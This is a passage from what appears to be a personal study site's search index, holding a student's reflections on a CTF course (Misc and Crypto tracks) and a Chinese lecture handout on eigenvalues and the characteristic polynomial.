<li>\u5982\u679cHTML\u6587\u4ef6\u4e2d\u5305\u542b\u4e86\u5176\u4ed6\u8d44\u6e90\uff08\u5982\u56fe\u7247\u3001CSS\u3001JavaScript\u7b49\uff09\uff0c\u6d4f\u89c8\u5668\u4f1a\u6839\u636e\u9700\u8981\u53d1\u9001\u989d\u5916\u7684HTTP\u8bf7\u6c42\u6765\u52a0\u8f7d\u8fd9\u4e9b\u8d44\u6e90\u3002</li> <li>\u8fd9\u4e9b\u8d44\u6e90\u52a0\u8f7d\u5b8c\u6210\u540e\uff0c\u6d4f\u89c8\u5668\u4f1a\u7ee7\u7eed\u6e32\u67d3\u9875\u9762\uff0c\u66f4\u65b0\u663e\u793a\u5185\u5bb9\u3002 \u6574\u4e2a\u8fc7\u7a0b\u901a\u5e38\u5728\u77ed\u65f6\u95f4\u5185\u5b8c\u6210\uff0c\u4ee5\u786e\u4fdd\u7528\u6237\u80fd\u591f\u5feb\u901f\u770b\u5230\u7f51\u9875\u5185\u5bb9\u3002</li> </ul> </li> </ol>"},{"location":"NOTE/CTF/%E7%BB%93%E8%AF%BE%E5%BF%83%E5%BE%97/","title":"\u77ed\u5b66\u671f\u7ed3\u8bfe\u5fc3\u5f97","text":"<p> \u7ea6 592 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 2 \u5206\u949f</p> <p>\u56de\u6765\u5427\u6211\u7684matlab(x)</p> <p>\u73b0\u5728\u662f2024\u5e747\u670824\u65e5,\u5317\u4eac\u65f6\u95f4\u665a\u4e0a23\uff1a08\u5206,\u521a\u519c\u4e86\u51e0\u628a,\u56db\u8d1f\u4e00\u80dc,\u6de6\uff01</p> <p>\u6d17\u4e86\u4e2a\u6fa1\uff0cCrypto\u7684\u4e13\u9898\u4e00\u7684lab\u4eca\u5929\u622a\u81f3\uff0c\u4ea4\u4e86\uff0c\u4e13\u9898\u4e8c\u768427\u53f7\u624d\u4ea4\uff0c\u8fd8\u4e0d\u60f3\u5199\uff0c\u95f2\u6765\u65e0\u4e8b\uff0c\u5199\u4e00\u4e2a\u4e0a\u8fd9\u95e8\u8bfe\u7684\u611f\u53d7\u5427\u3002</p> <p>\u8bfe\uff0c\u662f\u597d\u7684\uff0c\u6211\uff0c\u662f\u83dc\u7684\u3002\u771f\u7684\u96be\uff0c\u4f46\u662f\u505a\u51fa\u6765\u7684\u77ac\u95f4\u4e5f\u662f\u771f\u7684\u723d\uff0cCTF\u5bf9\u81ea\u5b66\u80fd\u529b\u8981\u6c42\u5f88\u9ad8\uff0c\u5982\u679c\u559c\u6b22\u586b\u9e2d\u5f0f\u6559\u80b2\uff0c\u559c\u6b22\u8001\u5e08\u628a\u77e5\u8bc6\u56bc\u788e\u4e86\u5582\u5230\u5634\u91cc\u7684\u8bdd\uff0c\u662f\u4e07\u4e07\u4e0d\u53ef\u9009\u7684\u3002\u8fd9\u4e2a\u6708\u4e3a\u4e86CTF\u4e0d\u77e5\u9053\u5f80\u7535\u8111\u91cc\u9762\u585e\u4e86\u591a\u5c11\u5c0f\u73a9\u610f\u3002\uff08\u4e5f\u5f80\u8111\u5b50\u91cc\u9762\u585e\u4e86\u5f88\u591a\u4e1c\u897f\uff09</p> <p>\u9009\u4e86Misc\u548cCrypto\u4e24\u4e2a\u65b9\u5411\uff0c\u4e0e\u5176\u8bf4\u771f\u7684\u611f\u5174\u8da3\uff0c\u4e0d\u5982\u8bf4\u8fd9\u4e24\u4e2a\u5bf9\u4e8e\u4e8c\u8fdb\u5236\u7684\u8981\u6c42\u7684\u6bd4\u8f83\u4f4e\u3002Web\u561b\uff0c\u5174\u8da3\u4e0d\u5927\u3002</p> <p>Misc\u662f\u771f\u7684\u597d\u73a9\uff0c7\u67083\u65e5\u521a\u5230\u957f\u6c99\u90a3\u665a\u5c31\u88abOSINT\u8ff7\u5f97\u4e0d\u884c\uff0c\u5f00\u76d2\uff0c\u723d\u3002\u4e5f\u5bf9\u7f16\u89e3\u7801\u6709\u4e86\u8c41\u7136\u5f00\u6717\u7684\u8ba4\u8bc6\u3002\u4e13\u9898\u4e00\u7684\u4e09\u9053\u56fe\u7247\u9690\u5199\u611f\u89c9\u504f\u5411\u5de5\u5177\u4f7f\u7528\uff0cspetrogram\u6bd4\u8f83\u8ff7\u4eba\uff0c\u4ecegif\u5230\u97f3\u9891\uff0c\u4ece0\u5f00\u59cb\u7684python\u5b66\u4e60\uff0c\u8ba9\u6211\u4eab\u53d7\u7684\u662f\u5168\u5fc3\u5168\u610f\u6295\u5165\u77e5\u8bc6\u7684\u611f\u89c9\uff0c\u201c\u7528\u773c\u775b\u542c\u97f3\u4e50\u201d\uff0c\u5f53\u65cb\u5f8b\u5728\u8033\u4e2d\u54cd\u8d77\uff0c\u4f3c\u4e4e\u6211\u4e5f\u80fd\u4e0e\u5085\u91cc\u53f6\u4ea7\u751f\u4e9b\u8bb8\u5171\u9e23\uff0c\u4f46\u662f\u7531\u4e8e\u4e00\u5f00\u59cb\u6ca1\u6ce8\u610f\u5230\u4f7f\u7528\u7684python\u7248\u672c\u5bfc\u81f4\u53ea\u80fd\u8dd1\u51fa\u6765\u4e00\u4e2a\u7740\u5b9e\u6709\u70b9\u9ad8\u8840\u538b\u3002Misc\u4e13\u9898\u4e8c\u662f\u533a\u5757\u94fe\u548c\u4ee5\u592a\u574a\uff0c\u5168\u65b0\u7684\u7684\u9886\u57df\uff0c\u4e5f\u662f\u6709\u70b9\u597d\u73a9\u7684\uff0c\u4f46\u662f\u638c\u63e1\u53ef\u80fd\u6ca1\u8fd9\u4e48\u5feb\uff0c\u540e\u9762\u53ef\u80fd\u8fd8\u4f1a\u518d\u770b\u770b\u5427</p> <p>Crypto\u53ea\u6709lab0\u548c\u7ef4\u5409\u5c3c\u4e9a\u5bc6\u7801\u662f\u987a\u7545\u505a\u4e0b\u53bb\u7684\uff0cHSC\u7ebf\u4ee3\u7684\u65b9\u9762\u6ca1\u62d0\u8fc7\u5f2f\u6765\uff0c\u4e13\u9898\u4e8c\u66f4\u662f\u6298\u78e8\u4e2d\u7684\u6298\u78e8\uff0c\u4e0d\u8fc7\u597d\u5728\u4eca\u5929\u603b\u7b97\u662f\u505a\u5b8c\u4e86\u3002</p> <p>\u867d\u7136\u603b\u662f\u548c\u540c\u5b66\u5410\u69fd\u540e\u6094\u4e0d\u9009matlab\u90a3\u4e2a\u6c34\u6c34\u7684\uff0c\u4f46\u662fCTF101\u7684\u7684\u786e\u786e\u8ba9\u6211\u5b66\u5230\u5f88\u591a\u7684\u4e1c\u897f\uff0c \u4f46\u5c31\u505a\u9898\u8fc7\u7a0b\u4e2d\u5b66\u4f1a\u7684python\u5404\u79cd\u5e93\u7684\u9a9a\u64cd\u4f5c\u5c31\u591f\u5f00\u4e00\u95e8\u8bfe\u7684\u611f\u89c9\u2026\u2026\u4e5f\u8ba9\u6211\u76f4\u89c2\u7684\u611f\u53d7\u5230\u8ba1\u7b97\u673a\u8fd9\u4e2a\u4e13\u4e1a\u8fd8\u6709\u90a3\u4e48\u591a\uff0c\u90a3\u4e48\u5e7f\u7684\uff0c\u90a3\u4e48\u6df1\u7684\u9886\u57df\u6211\u4ece\u672a\u6d89\u8db3\u3002\u867d\u7136\u7d2f\u5427\uff0c\u4f46\u603b\u4e4b\u53d7\u76ca\u532a\u6d45\u3002</p> <p>\u5b8c\u7ed3\u6492\u82b1~</p>"},{"location":"NOTE/LA/eigenvalue/","title":"\u8bb2\u4e49-\u7279\u5f81\u503c\u4e13\u9898","text":"<p> \u7ea6 8170 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 28 \u5206\u949f</p> <p>\u53c2\u8003\u4e66\u76ee\uff1a\u300a\u7ebf\u6027\u4ee3\u6570:\u672a\u7adf\u4e4b\u7f8e\u300b</p> <p>\u672c\u8bb2\u4e49\u7528\u4e8e\u7afa\u53ef\u6862\u5b66\u9662\u7ebf\u6027\u4ee3\u6570\u7ebf\u4e0a\u8f85\u5b66\u8bfe\u7a0b\uff0c\u5948\u4f55\u672c\u4eba\u6c34\u5e73\u6709\u9650\uff0c\u6709\u4e9b\u5730\u65b9\u5728\u8bfe\u7a0b\u4e2d\u53ef\u80fd\u8868\u8ff0\u4e0d\u6e05\u6670\uff0c\u8fd8\u8bf7\u591a\u591a\u5305\u6db5\u3002</p>"},{"location":"NOTE/LA/eigenvalue/#_1","title":"\u5f15\u5165","text":"<p>Quote</p> <p>\u7ebf\u6027\u4ee3\u6570\u7684\u4e00\u5927\u76ee\u6807\u662f:\u6211\u4eec\u5e0c\u671b\u627e\u5230\u51fa\u53d1\u7a7a\u95f4\u548c\u5230\u8fbe\u7a7a\u95f4\u5408\u9002\u7684\u57fa\u4f7f\u5f97\u7ebf\u6027\u6620\u5c04\u5728\u8fd9\u4e24\u7ec4\u57fa\u4e0b\u7684\u8868\u793a\u66f4\u7b80\u5355(\u5c3d\u53ef\u80fd\u591a\u7684\u96f6,\u5c3d\u91cf\u5411\u5bf9\u89d2\u77e9\u9635\u9760\u8fd1).\u6211\u4eec\u5c06\u773c\u5149\u653e\u5728\u7ebf\u6027\u53d8\u6362\uff0c\u5373\u51fa\u53d1\u7a7a\u95f4\u548c\u5230\u8fbe\u7a7a\u95f4\u76f8\u540c\u7684\u7ebf\u6027\u6620\u5c04\uff0c\u5e76\u4e14\u6211\u4eec\u5173\u6ce8 \u51fa\u53d1\u7a7a\u95f4\u4e0e\u5230\u8fbe\u7a7a\u95f4\u53d6\u540c\u4e00\u7ec4\u57fa\u7684\u65f6\u5019\uff0c\u5982\u4f55\u53d6\u57fa\uff0c\u53ef\u4ee5\u628a\u540c\u4e00\u4e2a\u7ebf\u6027\u6620\u5c04\u7684\u77e9\u9635\u5c3d\u53ef\u80fd\u8868\u793a\u5f97\u7b80\u5355 \uff1b</p> <p>\u57fa\u7684\u8f6c\u6362&lt;-&gt;\u77e9\u9635\u7684\u8f6c\u6362</p> <p>\u4ece\u77e9\u9635\u5728\u4e0d\u540c\u57fa\u4e0b\u7684\u7684\u8868\u793a\u51fa\u53d1</p> <p>\u5047\u8bbe\u6211\u4eec\u6709\u4e00\u4e2a\u5728 \\(n\\) \u7ef4\u7ebf\u6027\u7a7a\u95f4 \\(\\mathbf{V}\\) \u4e0a\u7ebf\u6027\u53d8\u6362 \\(\\sigma\\) ,\u5176\u5728\u57fa \\(\\mathbf{B}=\\{\\varepsilon_1,\\varepsilon_2,\\ldots,\\varepsilon_n\\}\\) (\\(\\mathbf{B}\\) \u7684\u6bcf\u4e2a\u5217\u5411\u91cf\u662f\u90fd\u662f\u4e00\u4e2a\u57fa)\u4e0b\u7684\u77e9\u9635\u4e3a \\(A\\),\u5373</p> \\[     \\sigma (\\varepsilon_1,\\varepsilon_2,\\ldots,\\varepsilon_n) = (\\varepsilon_1,\\varepsilon_2,\\ldots,\\varepsilon_n)A \\] <p>\u5047\u8bbe\u6211\u4eec\u5f88\u5e78\u8fd0,\u627e\u5230\u4e86\u53e6\u5916\u4e00\u7ec4\u57fa \\(\\mathbf{B'}=\\{\\varepsilon_1',\\varepsilon_2',\\ldots,\\varepsilon_n'\\}\\),\u5e76\u4e14\u5df2\u77e5\u8fd9\u4e2a\u7ebf\u6027\u6620\u5c04\u5728\u8fd9\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\u5f88\u6f02\u4eae,\u662f\u5bf9\u89d2\u7684\\(\\Lambda\\),\u5373</p> \\[     \\sigma (\\varepsilon_1',\\varepsilon_2',\\ldots,\\varepsilon_n') = (\\varepsilon_1',\\varepsilon_2',\\ldots,\\varepsilon_n') \\Lambda \\] <p>\u5982\u679c\u53c8\u6070\u597d\u77e5\u9053\u4e24\u7ec4\u57fa\u4e4b\u95f4\u7684\u8fc7\u6e21\u77e9\u9635</p> \\[ \\{\\varepsilon_1',\\varepsilon_2',\\ldots,\\varepsilon_n'\\} = \\{ \\varepsilon_1,\\varepsilon_2,\\ldots,\\varepsilon_n \\} P \\] <p>\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u63a8\u5bfc\u51fa</p> \\[      A P = P \\Lambda \\tag{1} \\] \\[     P^{-1} A P = \\Lambda \\] <p>\\(P\\)\u4e3a\u4ec0\u4e48\u4e00\u5b9a\u53ef\u9006\uff1f(\u57fa\u4e4b\u95f4\u7684\u4e92\u76f8\u8868\u793a)</p> <p>\u7ee7\u7eed\u7531\u4e0a\u9762\u7684\u5f0f\u5b50(1)\uff0c\u6211\u4eec\u5c55\u5f00,\\(p_i\\)\u4e3a\u77e9\u9635\\(P\\)\u7684\u7b2c\\(i\\)\u4e2a\u5217\u5411\u91cf</p> \\[     A P = A ( p_1, p_2,\\ldots,p_n ) = ( p_1, p_2,\\ldots,p_n )\\begin{pmatrix}                 \\lambda_1 &amp; 0 &amp; 0 &amp; \\cdots &amp; 0 \\\\                 0 &amp; \\lambda_2 &amp; 0 &amp; \\cdots &amp; 0 \\\\                 0 &amp; 0 &amp; \\lambda_3 &amp; \\cdots &amp; 0 \\\\                 \\vdots &amp; \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\                 0 &amp; 0 &amp; 0 &amp; \\cdots &amp; \\lambda_n                 \\end{pmatrix} \\] <p>\u5c55\u5f00\u5bf9\u5e94\u76f8\u7b49</p> \\[     Ap_i = \\lambda_i p_i \\] <p>Key-point</p> <p>\u8fd9\u4e00\u8fc7\u7a0b\u7ed9\u6211\u4eec\u7684\u542f\u53d1\u662f\uff0c\u5982\u679c\u6211\u4eec\u77e5\u9053\\(A\\)\u53ef\u4ee5\u8fbe\u5230\u7684\u5bf9\u89d2\u5316\u7684\u77e9\u9635\u662f\u600e\u4e48\u6837\u7684,\u90a3\u4e48\u53ef\u4ee5\u9006\u63a8\u51fa\u53d8\u6362\u77e9\u9635,\u4ece\u800c\u627e\u51fa\u8fd9\u7ec4\u57fa\u662f\u600e\u4e48\u6837\u7684;\u4e0a\u9762\u7684\\(\\lambda_i\\),\u4e0e\\(p_i\\)\u5c31\u662f\u6211\u4eec\u4eca\u5929\u8981\u8ba8\u8bba\u7684\u7279\u5f81\u503c\u4e0e\u7279\u5f81\u5411\u91cf\uff0c\u5982\u4f55\u5bfb\u627e\u5b83\u4eec\u5c31\u662f\u6211\u4eec\u4eca\u5929\u7684\u91cd\u70b9\uff1b</p>"},{"location":"NOTE/LA/eigenvalue/#_2","title":"\u7279\u5f81\u503c\u4e0e\u7279\u5f81\u5411\u91cf","text":""},{"location":"NOTE/LA/eigenvalue/#_3","title":"\u5b9a\u4e49","text":"<p>Definition</p> <p>\u8bbe\\(\\sigma\\)\u662f\u7ebf\u6027\u7a7a\u95f4\\(V(\\mathbf{F})\\)\u4e0a\u7684\u4e00\u4e2a\u7ebf\u6027\u53d8\u6362\uff0c\u5982\u679c\u5b58\u5728\u6570\\(\\lambda\\in\\mathbf{F}\\)\u548c\u975e\u96f6\u5411\u91cf\\(\\xi\\in V\\)\u4f7f\u5f97\\(\\sigma(\\xi)=\\lambda\\xi\\)\uff0c\u5219\u79f0\u6570\\(\\lambda\\)\u4e3a\\(\\sigma\\)\u7684\u4e00\u4e2a\u7279\u5f81\u503c\uff0c\u5e76\u79f0\u975e\u96f6\u5411\u91cf\\(\\xi\\)\u4e3a\\(\\sigma\\)\u5c5e\u4e8e\u5176\u7279\u5f81\u503c\\(\\lambda\\)\u7684\u7279\u5f81\u5411\u91cf</p> <p>\u540c\u6784\u5730\uff0c\u5bf9\u4e8e\u77e9\u9635\u800c\u8a00\uff0c\u6709:</p> <p>\u8bbe\u77e9\u9635\\(A\\in \\mathbf{M}_n(\\mathbf{F})\\)\uff0c\u5982\u679c\u5b58\u5728\u6570\\(\\lambda\\in\\mathbf{F}\\)\u548c\u975e\u96f6\u5411\u91cf\\(X\\in\\mathbf{F}^n\\)\u4f7f\u5f97\\(AX=\\lambda X\\)\uff0c\u5219\u79f0\u6570\\(\\lambda\\)\u4e3a\\(A\\)\u7684\u4e00\u4e2a\u7279\u5f81\u503c\uff0c\u79f0\u975e\u96f6\u5411\u91cf\\(X\\)\u4e3a\\(A\\)\u5c5e\u4e8e\u5176\u7279\u5f81\u503c\\(\\lambda\\)\u7684\u7279\u5f81\u5411\u91cf.</p> <p>Property</p> <p>\u8bbe \\(\\sigma\\) \u662f \\(V(\\mathbf{F})\\) \u4e0a\u7684\u7ebf\u6027\u53d8\u6362\uff0c\\(I\\) \u4e3a\u6052\u7b49\u6620\u5c04\uff0c\u5219\u4e0b\u8ff0\u6761\u4ef6\u7b49\u4ef7\uff1a</p> <ol> <li>\\(\\lambda \\in \\mathbf{F}\\) \u662f \\(\\sigma\\) \u7684\u7279\u5f81\u503c\uff1b</li> <li>\\(\\sigma - \\lambda I\\) \u4e0d\u662f\u5355\u5c04 \\(\\Leftrightarrow\\) \\(A-\\lambda E\\) \u5217\u4e0d\u6ee1\u79e9\uff1b</li> <li>\\(\\sigma - \\lambda I\\) \u4e0d\u662f\u6ee1\u5c04 \\(\\Leftrightarrow\\) \\(A-\\lambda E\\) \u884c\u4e0d\u6ee1\u79e9\uff1b</li> <li>\\(\\sigma - \\lambda I\\) \u4e0d\u53ef\u9006  \\(\\Leftrightarrow\\) \\(A-\\lambda E\\) \u4e0d\u53ef\u9006(\u884c\u5217\u5f0f\u4e3a0)</li> </ol> <p>\u5bf9\u4e8e\u7b2c\u4e8c\u7b2c\u4e09\u6761\u7684\u77e9\u9635\u7248\u672c\u6709\u7591\u95ee\u7684\u540c\u5b66\u53ef\u4ee5\u56de\u987e LALU \u76f8\u62b5\u6807\u51c6\u578b\u4e00\u8282\u7ed9\u51fa\u7684\u5b9a\u7406:</p> <p>\u7ebf\u6027\u6620\u5c04\u662f\u5355\u5c04\u5f53\u4e14\u4ec5\u5f53\u5176\u77e9\u9635\u8868\u793a\u4e3a\u5217\u6ee1\u79e9\u77e9\u9635,\u7ebf\u6027\u6620\u5c04\u662f\u6ee1\u5c04\u5f53\u4e14\u4ec5\u5f53\u5176\u77e9\u9635\u8868\u793a\u4e3a\u884c\u6ee1\u79e9\u77e9\u9635.</p>"},{"location":"NOTE/LA/eigenvalue/#_4","title":"\u7279\u5f81\u591a\u9879\u5f0f","text":"<p>\u7531\u4e0a\u8ff0\u6027\u8d28\uff0c\\(\\lambda\\in\\mathbf{F}\\)\u662f\\(\\sigma\\)\u7684\u7279\u5f81\u503c\u7b49\u4ef7\u4e8e\\(|\\lambda E-A|=0\\)\uff0c\u6545\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\\(|\\lambda E-A|=0\\)\u6c42\u89e3\u7279\u5f81\u503c\uff0c\u5176\u4e2d\\(A\\)\u4e3a\\(\\sigma\\)\u5728\u67d0\u7ec4\u57fa\u4e0b\u7684\u77e9\u9635\uff0c\\(E\\)\u4e3a\u5355\u4f4d\u77e9\u9635. \u5bf9\u4e8e\u7279\u5f81\u5411\u91cf\u7684\u6c42\u89e3\uff0c\u6c42\u51fa\\((\\lambda E-A)X=0\\)\u7684\u975e\u96f6\u89e3\u5c31\u662f\u7279\u5f81\u5411\u91cf\u5728\u57fa\\(\\alpha_1,\\ldots,\\alpha_n\\)\u4e0b\u7684\u5750\u6807\uff0c\u5982\u679c\u662f\u77e9\u9635\u7684\u7279\u5f81\u5411\u91cf\uff0c\u90a3\u4e48\\(X\\)\u5c31\u662f\u89e3.</p> <p>\u4e0a\u8ff0\u6c42\u89e3\u7279\u5f81\u5411\u91cf\u7684\u65b9\u6cd5\u9700\u8981\u6211\u4eec\u6c42\u89e3\\(f(\\lambda)=|\\lambda E-A|\\)\u7684\u6839\uff0c\u6211\u4eec\u5c06\\(f(\\lambda)\\)\u79f0\u4e3a\u7279\u5f81\u591a\u9879\u5f0f\uff1b</p> <p>Example</p> <p>\u8bbe\\(A=\\begin{pmatrix}      1 &amp; -1 &amp; 0 \\\\ 2 &amp; 0 &amp; 1 \\\\ 1 &amp; a &amp; 0  \\end{pmatrix}\\)\uff0c\u4e14\u5b58\u5728\u975e\u96f6\u5411\u91cf\\(\\alpha\\)\u4f7f\u5f97\\(A\\alpha=2\\alpha\\)\uff0c\u6c42\\(a\\).</p> Answer <p>\u7531\u9898\u610f\u77e52\u662f\u77e9\u9635\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\u56e0\u6b64\u6211\u4eec\u6709</p> \\[|2E-A|=\\begin{vmatrix}        1 &amp; 1 &amp; 0 \\\\ -2 &amp; 2 &amp; -1 \\\\ -1 &amp; -a &amp; 2    \\end{vmatrix}=9-a=0 \\] <p>\u56e0\u6b64\\(a=9\\).</p> <p>\u7279\u5f81\u591a\u9879\u5f0f\u53ef\u4ee5\u5199\u4e3a\u4ee5\u4e0b\u7684\u5f62\u5f0f</p> <p>\u5bf9\u4e8e\\(n\\)\u7ea7\u77e9\u9635\\(A=(a_{ij})\\)\uff0c\u8bb0</p> \\[f(\\lambda)=|\\lambda E-A|=a_0\\lambda^n+a_1\\lambda^{n-1}+\\cdots+a_{n-1}\\lambda+a_n\\] <p>\u5219\\(a_0=1\\)\uff0c\\(a_1=-\\mathbf{tr}(A)\\) \uff0c\\(a_n=(-1)^n|A|\\) \uff0c\u4e14\\(a_k\\)\u7b49\u4e8e\u6240\u6709\\(k\\)\u7ea7\u4e3b\u5b50\u5f0f\u4e4b\u548c\u4e58\u4ee5\\((-1)^k\\).</p> <p>\u7531\u97e6\u8fbe\u5b9a\u7406</p> \u4e00\u5143n\u6b21\u97e6\u8fbe\u5b9a\u7406 <p>\u8bbe\u65b9\u7a0b \\( a_0 x^n + a_{1} x^{n-1} + \\cdots + a_{n-1} x + a_n = 0 \\) \u6709\u6839 \\( x_1, x_2, \\ldots, x_n \\). \u90a3\u4e48:</p> <ul> <li>\u5404\u6839\u4e4b\u548c:</li> </ul> \\[ x_1 + x_2 + \\cdots + x_n = \\sum_{i=1}^{n} x_i = -\\frac{a_{1}}{a_0} \\] <ul> <li>\u5404\u6839\u4e4b\u79ef:</li> </ul> \\[ x_1 x_2 \\cdots x_n = \\prod_{i=1}^{n} x_i = (-1)^n \\frac{a_n}{a_0} \\] <ul> <li> <p>\\(\\displaystyle\\sum_{i=1}^{n}\\lambda_i=\\sum_{i=1}^{n}a_{ii}\\)\uff1b</p> </li> <li> <p>\\(\\displaystyle\\prod_{i=1}^{n}\\lambda_i=|A|\\). </p> </li> </ul>"},{"location":"NOTE/LA/eigenvalue/#_5","title":"\u76f8\u4f3c\u4e0e\u7279\u5f81\u591a\u9879\u5f0f","text":"<p>Question</p> <ul> <li>\u76f8\u4f3c\u77e9\u9635\u6709\u76f8\u540c\u7684\u7279\u5f81\u591a\u9879\u5f0f?\uff08\u4ece\u800c\u6709\u76f8\u540c\u7684\u8ff9\uff0c\u884c\u5217\u5f0f\uff0c\u7279\u5f81\u503c;\uff09\uff0c\u5373\\(A\\sim B\\)\u6709\\(|\\lambda E-A|=|\\lambda E-B|\\)\u5417\uff1f\u53cd\u8fc7\u6765\u5462\uff1f</li> </ul> Answer <p>\u8bbe\\(B=P^{-1}AP\\)\uff0c\u5219\\(|\\lambda E-B|=|\\lambda E-P^{-1}AP|=|P^{-1}(\\lambda E-A)P|=|P^{-1}||\\lambda E-A||P|=|\\lambda E-A|\\). \u56e0\u6b64\\(A\\sim B\\)\u6709\\(|\\lambda E-A|=|\\lambda E-B|\\).</p> <p>\u6211\u4eec\u77e5\u9053\u7279\u5f81\u591a\u9879\u5f0f\u76f8\u540c\u5219\u7279\u5f81\u503c\u76f8\u540c\uff0c\u8ff9\u7b49\u4e8e\u6240\u6709\u7279\u5f81\u503c\u4e4b\u548c\uff0c\u884c\u5217\u5f0f\u7b49\u4e8e\u6240\u6709\u7279\u5f81\u503c\u4e4b\u79ef\uff0c\u56e0\u6b64\u76f8\u4f3c\u77e9\u9635\u6709\u76f8\u540c\u7684\u8ff9\uff0c\u884c\u5217\u5f0f\uff0c\u7279\u5f81\u503c.</p> <ul> <li>\u5982\u679c\u662f\uff0c\u90a3\u4e48\u540c\u4e00\u7279\u5f81\u503c\u7684\u7279\u5f81\u5411\u91cf\u4e4b\u95f4\u6709\u4ec0\u4e48\u5173\u7cfb\uff1f</li> </ul> Answer <p>\u8bbe\\(P^{-1}AP=B\\)\uff0c\u5219\\(A,B\\)\u5206\u522b\u5c5e\u4e8e\u540c\u4e00\u7279\u5f81\u503c\\(\\lambda\\)\u7684\u7279\u5f81\u5411\u91cf\\(X\\)\u548c\\(Y\\)\u6ee1\u8db3\\(Y=P^{-1}X\\).</p> <p>\u7531\\(AX=\\lambda_0 X\\)\u4ee5\u53ca\\(A=PBP^{-1}\\)\uff0c\u6211\u4eec\u6709\\(PBP^{-1}X=\\lambda_0 X\\)\uff0c\u5373\\(BP^{-1}X=\\lambda_0 P^{-1}X\\)\uff0c\u56e0\u6b64\\(P^{-1}X\\)\u662f\\(B\\)\u5c5e\u4e8e\\(\\lambda_0\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5373\\(P^{-1}X\\)\u662f\\(B\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5373\\(Y=P^{-1}X\\).</p> <p>\u56de\u5fc6\u57fa\u7684\u9009\u62e9\u5bfc\u81f4\u540c\u4e00\u5411\u91cf\u5728\u4e0d\u540c\u57fa\u4e0b\u7684\u5750\u6807\u8868\u793a,\u5b9e\u9645\u4e0a\u8fd9\u4e2a\u95ee\u9898\u5c31\u662f\u8be5\u5b9a\u7406\u7684\u63a8\u8bba;</p> \u540c\u4e00\u5411\u91cf\u5728\u4e0d\u540c\u57fa\u4e0b\u7684\u5750\u6807\u8868\u793a <p>\u8bbe\u7ebf\u6027\u7a7a\u95f4\\(V\\)\u7684\u4e24\u7ec4\u57fa\u4e3a\\(B_1\\)\u548c\\(B_2\\)\uff0c\u4e14\u57fa\\(B_1\\)\u5230\\(B_2\\)\u7684\u53d8\u6362\u77e9\u9635\uff08\u8fc7\u6e21\u77e9\u9635\uff09\u4e3a\\(A\\)\uff0c\u5982\u679c\\(\\xi \\in V(\\mathbf{F})\\)\u5728\\(B_1\\)\u548c\\(B_2\\)\u4e0b\u7684\u5750\u6807\u5206\u522b\u4e3a\\(X\\)\u548c\\(Y\\)\uff0c\u5219\\(Y=A^{-1}X\\).</p> \\[\\xi=(\\alpha_1,\\ldots,\\alpha_n)X=(\\beta_1,\\ldots,\\beta_n)Y.\\] <p>\u5c06\u8fc7\u6e21\u77e9\u9635\u7684\u6761\u4ef6\\(B_2=B_1A\\)\uff0c\u5373\\((\\beta_1,\\ldots,\\beta_n)=(\\alpha_1,\\ldots,\\alpha_n)A\\)\u4ee3\u5165\u4e0a\u5f0f\u53ef\u5f97\uff1a</p> \\[\\xi=(\\alpha_1,\\ldots,\\alpha_n)X=(\\alpha_1,\\ldots,\\alpha_n)AY.\\] <p>\u53c8\u7531\u4e8e\\(\\xi\\)\u5728\u7ebf\u6027\u65e0\u5173\u5411\u91cf\u7ec4\\(\\alpha_1,\\ldots,\\alpha_n\\)\u4e0b\u7684\u5750\u6807\u552f\u4e00\uff0c\u6545\u6211\u4eec\u6709\\(X=AY\\)\uff0c\u5373\\(Y=A^{-1}X\\).</p> <p>Example</p> <p>\u56de\u7b54\u4ee5\u4e0b\u4e24\u4e2a\u95ee\u9898\uff1a</p> <ol> <li> <p>\u8bbe \\(A,B\\) \u5747\u4e3a \\(n\\) \u9636\u77e9\u9635\uff0c\u8bc1\u660e\uff1a\\(\\lambda\\neq 0\\) \u662f \\(AB\\) \u7684\u7279\u5f81\u503c\uff0c\u5219 \\(\\lambda\\) \u4e5f\u662f \\(BA\\) \u7684\u7279\u5f81\u503c\uff1b</p> </li> <li> <p>\u8bbe \\(A\\in \\mathbf{M}_{m\\times n}(\\mathbf{C}),\\enspace B\\in \\mathbf{M}_{n\\times m}(\\mathbf{C})\\)\uff0c\u8bc1\u660e\uff1a</p> </li> </ol> \\[    \\begin{pmatrix}        AB &amp; O \\\\ B &amp; O    \\end{pmatrix} \\sim \\begin{pmatrix}        O &amp; O \\\\ B &amp; BA    \\end{pmatrix} \\] <p>\u5e76\u7531\u6b64\u63a8\u51fa \\(AB\\) \u548c \\(BA\\) \u975e\u96f6\u7279\u5f81\u503c\u76f8\u540c\uff0c\u4e14 \\(m=n\\) \u65f6\u6709 \\(|\\lambda E-AB|=|\\lambda E-BA|\\).</p> Proof <ol> <li>\u8bbe \\(X\\) \u662f \\(AB\\) \u5c5e\u4e8e \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u5219 \\(ABX=\\lambda X\\)\uff0c\u56e0\u6b64 \\(B(ABX)=B(\\lambda X)\\)\uff0c\u5373 \\((BA)(BX)=\\lambda(BX)\\)\uff0c\u56e0\u6b64 \\(BX\\) \u662f \\(BA\\) \u5c5e\u4e8e \\(\\lambda\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u6545 \\(\\lambda\\) \u4e5f\u662f \\(BA\\) \u7684\u7279\u5f81\u503c\u3002</li> </ol> <p>\u5b9e\u9645\u4e0a\u8fd9\u91cc\u8fd8\u6709\u4e00\u70b9\u9700\u8981\u8bf4\u660e\uff0c\u5c31\u662f \\(BX\\neq 0\\)\uff0c\u5426\u5219\u5b83\u5c06\u4e0d\u80fd\u4f5c\u4e3a\u7279\u5f81\u5411\u91cf\u3002\u4e8b\u5b9e\u4e0a\u8bc1\u660e\u662f\u7b80\u5355\u7684\uff0c\u5047\u8bbe \\(BX=0\\)\uff0c\u5219 \\(ABX=0\\)\uff0c\u7531\u4e8e \\(\\lambda\\neq 0\\)\uff0c\u56e0\u6b64\u5fc5\u7136\u6709 \\(X=0\\)\uff0c\u4f46\u8fd9\u4e0e \\(X\\) \u662f \\(AB\\) 